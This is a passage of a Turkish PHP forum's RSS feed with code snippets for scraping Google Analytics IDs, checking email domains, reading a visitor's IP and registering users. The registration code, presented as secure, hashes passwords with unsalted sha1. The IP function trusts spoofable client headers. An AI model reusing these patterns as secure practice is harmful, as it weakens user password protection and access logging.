</span><span style="color: #0000BB">    </span><span style="color: #007700">for (</span><span style="color: #0000BB">&#36;i </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; </span><span style="color: #0000BB">&#36;i </span><span style="color: #007700">&lt; </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;inside_script</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]); </span><span style="color: #0000BB">&#36;i</span><span style="color: #007700">++){<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">if (</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;inside_script</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">&#36;i</span><span style="color: #007700">], </span><span style="color: #DD0000">"ga.js"</span><span style="color: #007700">)) </span><span style="color: #0000BB">&#36;flag2_ga_js </span><span style="color: #007700">= </span><span style="color: #0000BB">TRUE</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">    </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Preg Match for UA ID<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Extract UA-ID using regular expression<br />
</span><span style="color: #0000BB">    preg_match_all</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;ua_regex</span><span style="color: #007700">, </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;googleAnalyticsURL</span><span style="color: #007700">), </span><span style="color: #0000BB">&#36;ua_id</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Return UA ID<br />
</span><span style="color: #0000BB">    </span><span style="color: #007700">return </span><span style="color: #0000BB">&#36;ua_id</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">];<br />
} <br />
</span><span style="color: #0000BB"></code></div></div></div><br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color">Kullanımı;</span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">echo </span><span style="color: #0000BB">fetchGoogleAnalyticsUAID</span><span style="color: #007700">(</span><span style="color: #DD0000">"website_url"</span><span style="color: #007700">); <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">function </span><span style="color: #0000BB">fetchGoogleAnalyticsUAID</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;googleAnalyticsURL</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Script Regex<br />
</span><span style="color: #0000BB">    &#36;script_regex </span><span style="color: #007700">= </span><span style="color: #DD0000">"/&lt;script&#092;b[^&gt;]*&gt;([&#092;s&#092;S]*?)&lt;&#092;/script&gt;/i"</span><span style="color: #007700">; <br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// UA_ID Regex<br />
</span><span style="color: #0000BB">    &#36;ua_regex </span><span style="color: #007700">= </span><span style="color: #DD0000">"/UA-[0-9]{5,}-[0-9]{1,}/"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Preg Match for Script<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Extract all the script tags of the content<br />
</span><span style="color: #0000BB">    preg_match_all</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;script_regex</span><span style="color: #007700">, </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;googleAnalyticsURL</span><span style="color: #007700">), </span><span style="color: #0000BB">&#36;inside_script</span><span style="color: #007700">); <br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Check for ga.gs and _trackPageview in all &lt;script&gt; tag<br />
</span><span style="color: #0000BB">    </span><span style="color: #007700">for (</span><span style="color: #0000BB">&#36;i </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; </span><span style="color: #0000BB">&#36;i </span><span style="color: #007700">&lt; </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;inside_script</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]); </span><span style="color: #0000BB">&#36;i</span><span style="color: #007700">++){<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">if (</span><span style="color: #0000BB">stristr</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;inside_script</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">&#36;i</span><span style="color: #007700">], </span><span style="color: #DD0000">"ga.js"</span><span style="color: #007700">)) </span><span style="color: #0000BB">&#36;flag2_ga_js </span><span style="color: #007700">= </span><span style="color: #0000BB">TRUE</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">    </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Preg Match for UA ID<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Extract UA-ID using regular expression<br />
</span><span style="color: #0000BB">    preg_match_all</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;ua_regex</span><span style="color: #007700">, </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;googleAnalyticsURL</span><span style="color: #007700">), </span><span style="color: #0000BB">&#36;ua_id</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">    </span><span style="color: #FF8000">// Return UA ID<br />
</span><span style="color: #0000BB">    </span><span style="color: #007700">return </span><span style="color: #0000BB">&#36;ua_id</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">][</span><span style="color: #0000BB">0</span><span style="color: #007700">];<br />
} <br />
</span><span style="color: #0000BB"></code></div></div></div><br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color">Kullanımı;</span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">echo </span><span style="color: #0000BB">fetchGoogleAnalyticsUAID</span><span style="color: #007700">(</span><span style="color: #DD0000">"website_url"</span><span style="color: #007700">); <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Email Onaylayıcı]]></title>
			<link>https://www.forumteams.com/konu-php-email-onaylayici.html</link>
			<pubDate>Fri, 03 Dec 2021 16:15:40 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-email-onaylayici.html</guid>
			<description><![CDATA[<span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;supportedMails </span><span style="color: #007700">= array(</span><span style="color: #DD0000">'gmail.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'yahoo.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'hotmail.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'outlook.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'msn.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'yandex.com'</span><span style="color: #007700">);<br />
function </span><span style="color: #0000BB">validateMail</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;domains</span><span style="color: #007700">) { foreach (</span><span style="color: #0000BB">&#36;domains </span><span style="color: #007700">as </span><span style="color: #0000BB">&#36;domain</span><span style="color: #007700">) { </span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">= </span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;domain</span><span style="color: #007700">, </span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">) - </span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;domain</span><span style="color: #007700">)); if (</span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">=== </span><span style="color: #0000BB">false</span><span style="color: #007700">){ continue; } if (</span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">== </span><span style="color: #0000BB">0 </span><span style="color: #007700">|| </span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">[(int) </span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">- </span><span style="color: #0000BB">1</span><span style="color: #007700">] == </span><span style="color: #DD0000">"@" </span><span style="color: #007700">|| </span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">[(int) </span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">- </span><span style="color: #0000BB">1</span><span style="color: #007700">] == </span><span style="color: #DD0000">"."</span><span style="color: #007700">){ return </span><span style="color: #0000BB">true</span><span style="color: #007700">; } } return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } <br />
</span><span style="color: #0000BB"></code></div></div></div><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kullanımı;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">if(</span><span style="color: #0000BB">validateMail</span><span style="color: #007700">(</span><span style="color: #DD0000">"uzmanforumteams@hotmail.com"</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;supportedMails</span><span style="color: #007700">){<br />
<br />
echo </span><span style="color: #DD0000">"supported"</span><span style="color: #007700">;<br />
<br />
}else{<br />
<br />
echo </span><span style="color: #DD0000">"unsupported"</span><span style="color: #007700">;<br />
<br />
} <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[<span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;supportedMails </span><span style="color: #007700">= array(</span><span style="color: #DD0000">'gmail.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'yahoo.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'hotmail.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'outlook.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'msn.com'</span><span style="color: #007700">,</span><span style="color: #DD0000">'yandex.com'</span><span style="color: #007700">);<br />
function </span><span style="color: #0000BB">validateMail</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;domains</span><span style="color: #007700">) { foreach (</span><span style="color: #0000BB">&#36;domains </span><span style="color: #007700">as </span><span style="color: #0000BB">&#36;domain</span><span style="color: #007700">) { </span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">= </span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;domain</span><span style="color: #007700">, </span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">) - </span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;domain</span><span style="color: #007700">)); if (</span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">=== </span><span style="color: #0000BB">false</span><span style="color: #007700">){ continue; } if (</span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">== </span><span style="color: #0000BB">0 </span><span style="color: #007700">|| </span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">[(int) </span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">- </span><span style="color: #0000BB">1</span><span style="color: #007700">] == </span><span style="color: #DD0000">"@" </span><span style="color: #007700">|| </span><span style="color: #0000BB">&#36;email</span><span style="color: #007700">[(int) </span><span style="color: #0000BB">&#36;pos </span><span style="color: #007700">- </span><span style="color: #0000BB">1</span><span style="color: #007700">] == </span><span style="color: #DD0000">"."</span><span style="color: #007700">){ return </span><span style="color: #0000BB">true</span><span style="color: #007700">; } } return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } <br />
</span><span style="color: #0000BB"></code></div></div></div><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kullanımı;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">if(</span><span style="color: #0000BB">validateMail</span><span style="color: #007700">(</span><span style="color: #DD0000">"uzmanforumteams@hotmail.com"</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;supportedMails</span><span style="color: #007700">){<br />
<br />
echo </span><span style="color: #DD0000">"supported"</span><span style="color: #007700">;<br />
<br />
}else{<br />
<br />
echo </span><span style="color: #DD0000">"unsupported"</span><span style="color: #007700">;<br />
<br />
} <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Gerçek IP Adresi Çekici]]></title>
			<link>https://www.forumteams.com/konu-php-gercek-ip-adresi-cekici.html</link>
			<pubDate>Fri, 03 Dec 2021 16:13:50 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-gercek-ip-adresi-cekici.html</guid>
			<description><![CDATA[<span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">function </span><span style="color: #0000BB">getRealAddress</span><span style="color: #007700">(){ if(</span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_CLIENT_IP"</span><span style="color: #007700">)) { </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_CLIENT_IP"</span><span style="color: #007700">); } elseif(</span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_X_FORWARDED_FOR"</span><span style="color: #007700">)) { </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_X_FORWARDED_FOR"</span><span style="color: #007700">); if (</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;ip</span><span style="color: #007700">, </span><span style="color: #DD0000">','</span><span style="color: #007700">)) { </span><span style="color: #0000BB">&#36;tmp </span><span style="color: #007700">= </span><span style="color: #0000BB">explode </span><span style="color: #007700">(</span><span style="color: #DD0000">','</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;ip</span><span style="color: #007700">); </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;tmp</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]); } } else { </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"REMOTE_ADDR"</span><span style="color: #007700">); } return </span><span style="color: #0000BB">&#36;ip</span><span style="color: #007700">; } <br />
</span><span style="color: #0000BB"></code></div></div></div><br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color">Kullanım;</span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;realAddress </span><span style="color: #007700">= </span><span style="color: #0000BB">getRealAddress</span><span style="color: #007700">(); <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[<span style="color: #c14700;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">function </span><span style="color: #0000BB">getRealAddress</span><span style="color: #007700">(){ if(</span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_CLIENT_IP"</span><span style="color: #007700">)) { </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_CLIENT_IP"</span><span style="color: #007700">); } elseif(</span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_X_FORWARDED_FOR"</span><span style="color: #007700">)) { </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"HTTP_X_FORWARDED_FOR"</span><span style="color: #007700">); if (</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;ip</span><span style="color: #007700">, </span><span style="color: #DD0000">','</span><span style="color: #007700">)) { </span><span style="color: #0000BB">&#36;tmp </span><span style="color: #007700">= </span><span style="color: #0000BB">explode </span><span style="color: #007700">(</span><span style="color: #DD0000">','</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;ip</span><span style="color: #007700">); </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;tmp</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]); } } else { </span><span style="color: #0000BB">&#36;ip </span><span style="color: #007700">= </span><span style="color: #0000BB">getenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"REMOTE_ADDR"</span><span style="color: #007700">); } return </span><span style="color: #0000BB">&#36;ip</span><span style="color: #007700">; } <br />
</span><span style="color: #0000BB"></code></div></div></div><br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color">Kullanım;</span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;realAddress </span><span style="color: #007700">= </span><span style="color: #0000BB">getRealAddress</span><span style="color: #007700">(); <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP PDO Güvenli Kayıt]]></title>
			<link>https://www.forumteams.com/konu-php-pdo-guvenli-kayit.html</link>
			<pubDate>Fri, 03 Dec 2021 16:12:18 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-pdo-guvenli-kayit.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">require_once(</span><span style="color: #DD0000">'config.php'</span><span style="color: #007700">);<br />
if(isset(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'actionRegister'</span><span style="color: #007700">])){<br />
</span><span style="color: #0000BB">        &#36;user_nickname </span><span style="color: #007700">= </span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_nickname'</span><span style="color: #007700">]));<br />
</span><span style="color: #0000BB">        &#36;user_email </span><span style="color: #007700">= </span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_email'</span><span style="color: #007700">]));<br />
</span><span style="color: #0000BB">        &#36;user_password </span><span style="color: #007700">= </span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_password'</span><span style="color: #007700">]));<br />
</span><span style="color: #0000BB">        </span><span style="color: #FF8000">//if sent values are empty<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">if(empty(</span><span style="color: #0000BB">&#36;user_nickname</span><span style="color: #007700">) || empty(</span><span style="color: #0000BB">&#36;user_password</span><span style="color: #007700">)){<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">echo </span><span style="color: #DD0000">"space"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">            </span><span style="color: #FF8000">//if the user name is less than 5 characters long<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">if(</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;user_nickname</span><span style="color: #007700">) &lt; </span><span style="color: #0000BB">5</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">echo </span><span style="color: #DD0000">"min_five_username"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                </span><span style="color: #FF8000">//if the password is less than 5 characters long<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">if(</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;user_password</span><span style="color: #007700">) &lt; </span><span style="color: #0000BB">5</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">echo </span><span style="color: #DD0000">"min_five_password"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                    &#36;user_password </span><span style="color: #007700">= </span><span style="color: #0000BB">sha1</span><span style="color: #007700">(</span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_password'</span><span style="color: #007700">])));<br />
</span><span style="color: #0000BB">                    </span><span style="color: #FF8000">//if the e-mail address is equal to the supported service extension<br />
</span><span style="color: #0000BB">                    </span><span style="color: #FF8000">//[https://github.com/oxcakmak/PHP-Email-Validate-Validator]<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">if(</span><span style="color: #0000BB">validateMail</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;user_email</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;supportedMails</span><span style="color: #007700">)){<br />
</span><span style="color: #0000BB">                        &#36;registerCheckUserExists </span><span style="color: #007700">= </span><span style="color: #0000BB">&#36;dbh</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">prepare</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT * FROM user WHERE user_nickname = :user_nickname"</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">                        &#36;registerCheckUserExists</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">execute</span><span style="color: #007700">(array(<br />
</span><span style="color: #0000BB">                            </span><span style="color: #DD0000">":user_nickname" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_nickname<br />
                        </span><span style="color: #007700">));<br />
</span><span style="color: #0000BB">                        &#36;registerCheckUserExistsRow </span><span style="color: #007700">= </span><span style="color: #0000BB">&#36;registerCheckUserExists</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">fetch</span><span style="color: #007700">(</span><span style="color: #0000BB">PDO</span><span style="color: #007700">::</span><span style="color: #0000BB">FETCH_ASSOC</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">                        </span><span style="color: #FF8000">//if the user is present in the system<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">if(</span><span style="color: #0000BB">&#36;registerCheckUserExists</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">rowCount</span><span style="color: #007700">() &gt; </span><span style="color: #0000BB">0</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">                            </span><span style="color: #007700">echo </span><span style="color: #DD0000">"exists"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                            </span><span style="color: #FF8000">//if the user is not present in the system<br />
</span><span style="color: #0000BB">                            &#36;insertRegisterUser </span><span style="color: #007700">= </span><span style="color: #0000BB">&#36;dbh</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">prepare</span><span style="color: #007700">(</span><span style="color: #DD0000">"INSERT INTO user (user_nickname, user_email, user_password, user_address, user_date, user_key) VALUES (:user_nickname, :user_email, :user_password, :user_address, :user_date, :user_key)"</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">                            &#36;insertRegisterUser</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">execute</span><span style="color: #007700">(array(<br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_nickname" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_nickname</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_email" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_email</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_password" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_password</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_address" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;newAddress</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_date" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;newDate</span><span style="color: #007700">,<br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_key" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">bin2hex</span><span style="color: #007700">(</span><span style="color: #0000BB">openssl_random_pseudo_bytes</span><span style="color: #007700">(</span><span style="color: #0000BB">16</span><span style="color: #007700">))<br />
</span><span style="color: #0000BB">                            </span><span style="color: #007700">));<br />
</span><span style="color: #0000BB">                            </span><span style="color: #007700">echo </span><span style="color: #DD0000">"success"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">echo </span><span style="color: #DD0000">"unsupported_mail_service"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">    </span><span style="color: #007700">} <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="color: #c14700;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Kodlar;</span></span></span><br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">require_once(</span><span style="color: #DD0000">'config.php'</span><span style="color: #007700">);<br />
if(isset(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'actionRegister'</span><span style="color: #007700">])){<br />
</span><span style="color: #0000BB">        &#36;user_nickname </span><span style="color: #007700">= </span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_nickname'</span><span style="color: #007700">]));<br />
</span><span style="color: #0000BB">        &#36;user_email </span><span style="color: #007700">= </span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_email'</span><span style="color: #007700">]));<br />
</span><span style="color: #0000BB">        &#36;user_password </span><span style="color: #007700">= </span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_password'</span><span style="color: #007700">]));<br />
